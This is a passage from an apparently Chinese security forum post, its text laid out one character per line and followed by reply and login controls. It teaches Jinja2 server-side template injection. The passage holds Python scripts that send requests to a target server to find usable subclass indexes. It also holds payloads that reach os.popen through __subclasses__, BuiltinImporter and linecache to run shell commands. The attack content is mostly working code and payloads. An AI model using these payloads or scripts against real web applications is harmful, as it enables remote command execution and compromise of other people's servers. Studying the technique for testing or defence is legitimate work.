_
_
s
u
b
c
l
a
s
s
e
s
_
_
(
)
[
"
+
s
t
r
(
i
)
+
"
]
}
}
"
r
e
s
=
r
e
q
u
e
s
t
s
.
g
e
t
(
u
r
l
=
u
r
l
,
h
e
a
d
e
r
s
=
h
e
a
d
e
r
s
)
i
f
'
_
f
r
o
z
e
n
_
i
m
p
o
r
t
l
i
b
.
B
u
i
l
t
i
n
I
m
p
o
r
t
e
r
'
i
n
r
e
s
.
t
e
x
t
:
p
r
i
n
t
(
i
)
#
得
到
编
号
为
6
9
{
{
[
]
.
_
_
c
l
a
s
s
_
_
.
_
_
b
a
s
e
_
_
.
_
_
s
u
b
c
l
a
s
s
e
s
_
_
(
)
[
6
9
]
[
"
l
o
a
d
_
m
o
d
u
l
e
"
]
(
"
o
s
"
)
[
"
p
o
p
e
n
"
]
(
"
l
s
/
"
)
.
r
e
a
d
(
)
}
}
i
m
a
g
e
-
2
0
2
1
0
3
0
8
1
6
2
0
4
7
3
7
8
寻
找
寻
找
l
i
n
e
c
a
c
h
e
函
数
执
行
命
令
函
数
执
行
命
令
l
i
n
e
c
a
c
h
e
这
个
函
数
可
用
于
读
取
任
意
一
个
文
件
的
某
一
行
,
而
这
个
函
数
中
也
引
入
了
o
s
模
块
,
所
以
我
们
也
可
以
利
用
这
个
l
i
n
e
c
a
c
h
e
函
数
去
执
行
命
令
。
首
先
编
写
脚
本
遍
历
目
标
P
y
t
h
o
n
环
境
中
含
有
l
i
n
e
c
a
c
h
e
这
个
函
数
的
子
类
的
索
引
号
:
随
便
挑
一
个
子
类
构
造
p
a
y
l
o
a
d
即
可
:
i
m
p
o
r
t
r
e
q
u
e
s
t
s
h
e
a
d
e
r
s
=
{
'
U
s
e
r
-
A
g
e
n
t
'
:
'
M
o
z
i
l
l
a
/
5
.
0
(
W
i
n
d
o
w
s
N
T
1
0
.
0
;
W
i
n
6
4
;
x
6
4
)
A
p
p
l
e
W
e
b
K
i
t
/
5
3
7
.
3
6
(
K
H
T
M
L
,
l
i
k
e
G
e
c
k
o
)
C
h
r
o
m
e
/
7
0
.
0
.
3
5
3
8
.
1
1
0
S
a
f
a
r
i
/
5
3
7
.
3
6
'
}
f
o
r
i
i
n
r
a
n
g
e
(
5
0
0
)
:
u
r
l
=
"
h
t
t
p
:
/
/
4
7
.
x
x
x
.
x
x
x
.
7
2
:
8
0
0
0
/
?
n
a
m
e
=
{
{
(
)
.
_
_
c
l
a
s
s
_
_
.
_
_
b
a
s
e
s
_
_
[
0
]
.
_
_
s
u
b
c
l
a
s
s
e
s
_
_
(
)
[
"
+
s
t
r
(
i
)
+
"
]
.
_
_
i
n
i
t
_
_
.
_
_
g
l
o
b
a
l
s
_
_
}
}
"
r
e
s
=
r
e
q
u
e
s
t
s
.
g
e
t
(
u
r
l
=
u
r
l
,
h
e
a
d
e
r
s
=
h
e
a
d
e
r
s
)
i
f
'
l
i
n
e
c
a
c
h
e
'
i
n
r
e
s
.
t
e
x
t
:
p
r
i
n
t
(
i
)
#
得
到
一
堆
子
类
的
索
引
:
1
6
8
1
6
9
2
0
3
2
0
6
2
0
7
2
0
8
.
.
.
{
{
[
]
.
_
_
c
l
a
s
s
_
_
.
_
_
b
a
s
e
_
_
.
_
_
s
u
b
c
l
a
s
s
e
s
_
_
(
)
[
1
6
8
]
.
_
_
i
n
i
t
_
_
.
_
_
g
l
o
b
a
l
s
_
_
[
'
l
i
n
e
c
a
c
h
e
'
]
[
'
o
s
'
]
.
p
o
p
e
n
(
'
l
s
/
'
)
.
r
e
a
d
{
{
[
]
.
_
_
c
l
a
s
s
_
_
.
_
_
b
a
s
e
_
_
.
_
_
s
u
b
c
l
a
s
s
e
s
_
_
(
)
[
1
6
8
]
.
_
_
i
n
i
t
_
_
.
_
_
g
l
o
b
a
l
s
_
_
.
l
i
n
e
c
a
c
h
e
.
o
s
.
p
o
p
e
n
(
'
l
s
/
'
)
.
r
e
a
d
(
)
}
}
回复
举报
上一个主题
下一个主题
高级模式
B
Color
Image
Link
Quote
Code
Smilies
您需要登录后才可以回帖
登录
|
立即注册
本版积分规则
发表回复
!disable!!post_parseurl!
使用Markdown编辑器编辑
使用富文本编辑器编辑
回帖后跳转到最后一页